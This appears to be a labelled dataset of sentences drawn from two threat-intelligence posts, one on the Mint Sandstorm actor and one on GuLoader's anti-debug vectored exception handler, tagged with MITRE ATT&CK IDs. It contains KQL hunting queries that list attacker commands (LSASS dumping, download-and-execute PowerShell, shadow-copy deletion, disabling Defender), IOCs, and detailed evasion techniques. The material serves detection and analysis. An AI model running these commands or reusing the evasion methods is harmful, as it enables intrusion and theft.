{"sentence": "In these attacks, Microsoft has observed the Mint Sandstorm subgroup using CharmPower, a custom implant, in attacks that began with targeted phishing campaigns.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Reporting from Checkpoint indicates that at least one version of CharmPower pulls data from a specific text file that contains a hardcoded victim identifier.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "While effects vary depending on the operators’ post-intrusion activities, even initial access can enable unauthorized access and facilitate further behaviors that may adversely impact the confidentiality, integrity, and availability of an environment.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "As these operators increasingly develop and use sophisticated capabilities, organizations must develop corresponding defenses to harden their attack surfaces and raise costs for these operators.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The current detections, advanced detections, and IOCs in place across our security products are detailed below and shared with the broader security community to help detect and prevent further attacks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Mitigation and protection guidance The techniques used by this subset of Mint Sandstorm can be mitigated through the following actions:", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Hardening internet-facing assets and understanding your perimeter Organizations must identify and secure perimeter systems that attackers might use to access the network.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Vulnerabilities observed in recent campaigns attributed to this Mint Sandstorm subgroup that defenders can identify and mitigate include: IBM Aspera Faspex affected by CVE-2022-47986: Organizations can remediate CVE-2022-47986 by upgrading to Faspex 4.4.2 Patch Level 2 or using Faspex 5.x which does not contain this vulnerability.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "More details are available in IBM’s security advisory here.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Zoho ManageEngine affected by CVE-2022-47966:", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Patching this vulnerability is useful beyond this specific campaign as several adversaries are exploiting CVE-2022-47966 for initial access.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Apache Log4j2 (aka Log4Shell) (CVE-2021-44228 and CVE-2021-45046): Microsoft’s guidance for organizations using applications vulnerable to Log4Shell exploitation can be found here.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Reducing the attack surface Microsoft 365 Defender customers can also turn on attack surface reduction rules to harden their environments against techniques used by this Mint Sandstorm subgroup.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "These rules, which can be configured by all Microsoft Defender Antivirus customers and not just those using the EDR solution, offer significant protection against the tradecraft discussed in this report. Block executable files from running unless they meet a prevalence, age, or trusted list criterion Block Office applications from creating executable content Block process creations originating from PSExec and WMI commands Additionally, in 2022, Microsoft changed the default behavior of Office applications to block macros in files from the internet, further minimizing the attack surface for operators like this subgroup of Mint Sandstorm.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "C!dha Microsoft Defender Antivirus detects the Soldier implant as the following malware: Trojan:MSIL/SoldierAudio.A!dha Trojan:MSIL/SoldierAudio.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "B!dha Trojan:MSIL/SoldierAudio.C!dha Microsoft Defender Antivirus detects the CharmPower implant as the following malware:", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "TrojanDownloader:O97M/RooftopMelt.A!dha Microsoft Defender for Endpoint The following Microsoft Defender for Endpoint alerts can indicate associated threat activity: Phosphorus Actor activity detected Hunting queries Microsoft 365 Defender Microsoft 365 Defender customers can run the following query to find related activity in their networks: ManageEngine Suspicious Process Execution. DeviceProcessEvents | where InitiatingProcessFileName hasprefix \"java\" | where InitiatingProcessFolderPath has @\"\\manageengine\\\" or InitiatingProcessFolderPath has @\"\\ServiceDesk\\\" | where (FileName in~ (\"powershell.exe\", \"powershell_ise.exe\") and (ProcessCommandLine has_any (\"whoami\", \"net user\", \"net group\", \"localgroup administrators\", \"dsquery\", \"samaccountname=\", \" echo \", \"query session\", \"adscredentials\", \"o365accountconfiguration\", \"-dumpmode\", \"-ssh\", \"usoprivate\", \"usoshared\", \"Invoke-Expression\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "IO.MemoryStream\", \"iex \", \"iex(\", \"Invoke-WebRequest\", \"set-MpPreference\", \"add-MpPreference\", \"certutil\", \"bitsadmin\") // \"csvhost.exe\", \"ekern.exe\", \"svhost.exe\", \".dmp\" or ProcessCommandLine matches regex @\"[-/–][Ee^]{1,2}[ncodema^]*\\s[A-Za-z0-9+/=]{15,}\")) or (FileName =~ \"curl.exe\" and ProcessCommandLine contains \"http\") or (FileName =~ \"wget.exe\" and ProcessCommandLine contains \"http\") or ProcessCommandLine has_any (\"E:jscript\", \"e:vbscript\") or ProcessCommandLine has_all (\"localgroup Administrators\", \"/add\") or ProcessCommandLine has_all (\"reg add\", \"DisableAntiSpyware\", @\"\\Microsoft\\Windows Defender\") or ProcessCommandLine has_all (\"reg add\", \"DisableRestrictedAdmin\", @\"CurrentControlSet\\Control\\Lsa\") or ProcessCommandLine has_all (\"wmic\", \"process call create\") or ProcessCommandLine has_all (\"net\", \"user \", \"/add\") or ProcessCommandLine has_all (\"net1\", \"user \", \"/add\") or ProcessCommandLine has_all (\"vssadmin\", \"delete\", \"shadows\") or ProcessCommandLine has_all (\"wmic\", \"delete\", \"shadowcopy\") or ProcessCommandLine has_all (\"wbadmin\", \"delete\", \"catalog\") or (ProcessCommandLine has \"lsass\" and ProcessCommandLine has_any (\"procdump\", \"tasklist\", \"findstr\")) | where ProcessCommandLine !contains \"download.microsoft.com\" and ProcessCommandLine !contains \"manageengine.com\" and ProcessCommandLine !contains \"msiexec\" Ruby AsperaFaspex Suspicious Process Execution. DeviceProcessEvents | where InitiatingProcessFileName hasprefix \"ruby\" | where InitiatingProcessFolderPath has @\"aspera\" | where (FileName in~ (\"powershell.exe\", \"powershell_ise.exe\") and (ProcessCommandLine has_any (\"whoami\", \"net user\", \"net group\", \"localgroup administrators\", \"dsquery\", \"samaccountname=\", \" echo \", \"query session\", \"adscredentials\", \"o365accountconfiguration\", \"-dumpmode\", \"-ssh\", \"usoprivate\", \"usoshared\", \"Invoke-Expression\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\"", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": ", \"System.IO.Compression\", \"System.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "DeviceProcessEvents | where FileName =~ \"powershell.exe\" and ProcessCommandLine hasprefix \"-e\" | extend SplitString = split(ProcessCommandLine, \" \") | mvexpand SS = SplitString | where SS matches regex \"^[A-Za-z0-9+/]{50,}[=]{0,2}$\" | extend base64_decoded = replace(@'\\0', '', make_string(base64_decode_toarray(tostring(SS))))", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "| where not(base64_decoded has_any(@\"software\\checker\", \"set folder to watch\")) | where base64_decoded has_all(\"$hst\", \"$prt\") or base64_decoded has_any(\"watcher\", @\"WAt`CH`Er()\")", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In addition, Microsoft Sentinel customers can leverage the following content to hunt for and detect related activity in their environments: Log4J solution Potential Impacket Execution Commands executed by WMI on new hosts – potential Impacket Scheduled Task Hidden Remote Task Creation/Update using Schtasks Process Scheduled Task Creation or Update from User Writable Directory Exchange SSRF Autodiscover ProxyShell – Detection Indicators of compromise IndicatorTypeDescriptionSoldier.exeFile nameSoldier backdoorad55b4a40f9e52682d9d4f069914e09c941e8b77ca7b615e9deffccdfbc54145SHA256Soldier backdoor hashDrokbk.exeFile nameDrokbk backdoor64f39b85c1d784df1ca8eb895ac7eaf47bf39acf008ed4ae27a796ac0f841bSHA256Drokbk", "labels": ["T1047", "T1053.005"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "backdoor hashsync-system-time[.]cfDomainDrokbk C2 infrastructureupdate-windows-security[.]tkDomainDrokbk C2 infrastructuredns-iprecords[.]tkDomainDrokbk C2 infrastructureuniversityofmhealth[.]bizDomainDrokbk C2 infrastructureoracle-java[.]cfDomainDrokbk C2 infrastructure54.39.202[.]0 IP addressDrokbk C2 infrastructure51.89.135[.]15IP", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "addressDrokbk C2 infrastructure51.89.169[.]201IP addressDrokbk C2 infrastructure51.89.187[.]222IP", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "addressDrokbk C2 infrastructureNY.docx.docxFile nameCharmPower lure document used for template injection57cc5e44fd84d98942c45799f367db78adc36a5424b7f8d9319346f945f64a72SHA256NY.docx.docx hashAbraham%20Accords%20Du.[.]docxFile nameCharmPower lure document used for template injection3dcdb0ffebc5ce6691da3d0159b5e811c7aa91f6d8fc204963d2944225b0119dSHA256Abraham%20Accords%20Du.[.]docx hashDocTemplate.dotmFile nameMalicious remote template document used in intrusions involving CharmPower65e48f63f455c94d3bf681acaf115caa6e1e60499362add49ca614458bbc4f85SHA256DocTemplate.dotmDntDocTemp.dotmFile nameMalicious remote template document used in intrusions involving CharmPower444075183ff6cae52ab5b93299eb9841dcd8b0321e3a90fb29260dc12133b6a2 SHA256DntDocTemp.dotm hash0onlyastep0[.]xyzDomainCharmPower C2 infrastructure0readerazone0[.]xyzDomainCharmPower C2 infrastructure0tryamore0[.]xyzDomainCharmPower C2 infrastructure References Iran: Background and U.S. Policy.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Secureworks Apt42: Crooked Charms, Cons, and Compromises.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Proofpoint Treasury Sanctions IRGC-Affiliated Cyber Actors for Roles in Ransomware Activity.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "U.S. Department of the Treasury Officials: Israel Linked to a Disruptive Cyberattack on Iranian Port Facility.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Thomson Reuters Iran’s Evolving Approach to Asymmetric Naval Warfare.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The Washington Institute for Near East Policy Hackers breach Iran rail network, disrupt service | Reuters.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Reuters APT35 Exploits Log4J Vulnerability to Distribute New Modular PowerShell Toolkit.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Checkpoint Iran Says Gas Stations Were Target Of Cyberattack To Foment Unrest (iranintl.com) Complaint – Summons – Civil Cover Sheet.pdf (noticeofpleadings.com)", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The post Nation-state threat actor Mint Sandstorm refines tradecraft to attack high-value targets appeared first on Microsoft Security Blog.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "GuLoader Demystified:", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Unraveling its Vectored Exception Handler Approach url: https://securitynews.sonicwall.com/xmlpost/guloader-demystified-unraveling-its-vectored-exception-handler-approach/ GuLoader Demystified:", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Unraveling its Vectored Exception Handler Approach May 31, 2023 OVERVIEW SonicWall Capture Labs Research team recently observed a new variant of GuLoader (a.k.a Cloudeye).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In latest variant of GuLoader it introduces new ways to raise exceptions that hamper complete analysis process and its execution under controlled environment.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In this blog post, we will discuss Unpacking of GuLoader’s shellcodes.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Deep dive into GuLoader’s custom Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Writing an IDAPython script to deobfuscate the control flow of shellcode and to make GuLoader’s analysis easy and fast.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "INTRODUCTION GuLoader is an advanced downloader first discovered in 2019 and since then it kept evolving, adding new anti-debugging techniques with its every new variant.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "It downloads malicious payload including AgentTesla, Azorult and Ramcos RAT etc.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Currently GuLoader is spreading through malspam campaign and packed using NSIS installer.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "UNPACKING GULOADER’S SHELLCODE GuLoader’s shellcode is executed after three layers.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "We need NSIS variant of 7-zip to extract the NSIS script, as typical installer of 7-zip is unable to extract the NSIS script.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 1.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "System.dll is DLL file which exports multiple functions.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "An Exported function named as “Call” is called by NSIS script.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "This function is responsible to allocate and execute Layer 2 shellcode.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 2.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "NSIS script calling Exported function Call.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Call function allocates memory space and copies content of file Hangarer.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Man from offset 0x409 till last byte.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "It then calls CallWindowProcW API.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Layer 2: Malware immediately decrypts the third layer which located at offset 0x1c9 in layer 2 and starts its execution.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 3.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Decryption of layer 3.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Layer 3: It is the final GuLoader shellcode.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "This shellcode has complex obfuscation, consisting of junk code, indirect function calls, dynamic API resolution, obfuscated arithmetic value calculations, using stack to decrypt strings, fake instructions, anti-debug, anti-vm, anti-analysis, anti-dump, anti-API hook, anti-emulation techniques.", "labels": ["T1027", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "During analysis of this variant, we have identified a significant enhancement in GuLoader’s one of most effective anti-debug technique that it’s custom Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Also it uses same instructions multiple times in shellcode to make it hard for reverser to perform static and dynamic analysis and to consume lot of time.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "GuLoader incorporates various evasions techniques.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Mentioning them below in order in which they are get executed.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Scan the virtual memory for the strings related to analysis tools.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Check QEMU emulator related strings.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Patch DbgBreakPoint and DbgUiRemoteBreakin API used by debuggers.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses EnumWindows API to enumerates windows.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses NtSetInformationThread API with ThreadHideDebugger(0x11).", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Uses MsiEnumProductsA and MsiGetProductInfoA APIs.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "An Overview of the Payload’s Execution Sequence Create suspended child process of itself.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In newly created process, it creates a section using genuine file to avoid AVs suspicious scanning.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In this case it was using mshtml.dll. Injects complete main shellcode in child process.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Repeats executing the mentioned evasion techniques one more time.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "After successful bypass , it decrypts the c2 URL and download encrypted payload from c2.", "labels": ["T1027", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Generate the payload decryption key.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In analyzed sample, key length was 0x303 bytes.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Lastly, it starts payload execution using the ZwCreateThreadEx API. Fig 4.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Snippet of Payload decryption function.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "All of the above-mentioned evasion techniques and payload execution sequences are already explained in detail in SonicWall Capture Labs Research team’s blog.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "NEW ENHANCED ANTI-DEBUG TECHNIQUE", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "In the below section we will discuss Exception types and implementation.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Writing IDAPython script to restore deobfuscate control flow.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION TYPES & IMPLEMENTATION", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_ACCESS_VIOLATION (code 0xC0000005)", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When malware intentionally tries to write to an inaccessible memory address, exception EXCEPTION_ACCESS_VIOLATION is raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Here, malware constructs zero by series of arithmetic calculations.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Then it tries to access memory address pointed by it, which raises exception as zero is inaccessible memory address.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_ACCESS_VIOLATION instructions pattern.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "As we can see the constant values and operations (mov, xor, sub) are keeps varying for each exception raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_SINGLE_STEP (code 0x80000004)", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The FLAGS register is the status register that contains the current state of a x86 CPU.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The trap flag is 8th bit of FLAGS register.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When the trap flag is set, the system is instructed to single step, it will execute one instruction and then stop.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The x86 processor has no instruction to directly set or reset the trap flag.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Malware uses combination of (PUSHFD/POPFD) instructions to set trap flag.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Pushing the flag register on the stack (PUSHFD) .", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Modifying the trap flag bit (uses 0x100)", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When malware is running without debugger, when SINGLE_STEP exception is raised and handled by Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 6. SINGLE_STEP", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "exception instructions pattern.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "However while using debugger, no exception can be seen being raised as trap flag is always gets reset after each debugger event is delivered.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "EXCEPTION_BREAKPOINT (code 0x80000003) INT3 instruction (0xCC opcode) is used as software breakpoint in debuggers, that’s why when program is running under debugger, control remains to the debugger after it encounter INT3.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When malware is running without debugger exception EXCEPTION_BREAKPOINT is raised, and control is transferred to the Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 7.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "BREAKPOINT exception instruction patterns.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Now we have understood how exceptions are being raised by malware.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Next will see how malware uses these exceptions to change the control flow at runtime using its custom Vectored Exception Handler. DECODING VECTORED EXCEPTION HANDLER An application can register a function to handle all exceptions for the application.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Vectored handlers are called in the order that they were added.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "GuLoader call RtlAddVectoredExceptionHandler API to add its custom Vectored Exception Handler. RtlAddVectoredExceptionHandler accepts two parameters.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Structures of EXCEPTION RECORD & CONTEXT.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "As we can see in below image, pointer of structure EXCEPTION_POINTERS is being passed as an argument to Vectored Exception Handler(VEH).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 9.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Pseudocode of Custom Vectored Exception Handler.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When EXCEPTION_ACCESS_VIOLATION and SINGLE_STEP_EXCEPTION exceptions are raised, handler perform following steps: It checks whether memory address being currently accessed is zero or not.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "But how handler gets the address of currently accessed memory location?", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "So it uses ExceptionInformantion[1] member of Exception Record to get this additional information about exception.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Checks if any hardware breakpoints have been set by checking status of the debug registers(DR0 to DR7).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "0x6A where Value 2 depicts size of instruction (mov, jg, jne etc.) where exception is raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "0x6A is byte key to transform EIP.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "When EXCEPTION_BREAKPOINT exception is raised, handler perform following steps:", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Checks whether hardware breakpoints have been set by checking status of the debug registers(DR0 to DR7).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Scans for applied software breakpoint i.e. CC byte in loop.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "If successfully pass the check, it then transforms the EIP to new address using logic Context->Eip += ByteAt(Eip + 1) ^", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "The python script finds instructions pattern that raise an exception and patch them by jump instruction with transformed EIP offset as a target.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "After running the python script in IDA, we get clean, easy to analyze, deobfuscated code of GuLoader’s shellcode.", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Fig 11.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "Obfuscated code(A), deobfuscated code(B), GuLoader’s entire shellcode graph view(C).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "CONCLUSION GuLoader malware introduces new techniques very often which takes much time and efforts of malware analysts to fully analyzed it.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "We have completely analyzed GuLoader’s custom Vectored Exception Handler and understood how it works.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "We have written python script to defeat GuLoader shellcode control flow obfuscation and saving time and efforts of malware analyst.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "IOC’s SHA256 : 55130719554a0b3dcbf971c646e6e668b663b796f4be09816d405cc15a16d7d6 C2 URL : hxxp[:]//lena[.]utf[.]by/wp-content/plugins/f8eb81f6deba45169c3b41c05c4590ad/y/mm/mmd/kdRrHFMqRUIujuOy126[.]bin Final Payload (Azorult stealer): d5af42b118d0597c6b71831f2b2ebc8294eca907481d53939563fce7c0f14767 REFERENCES", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
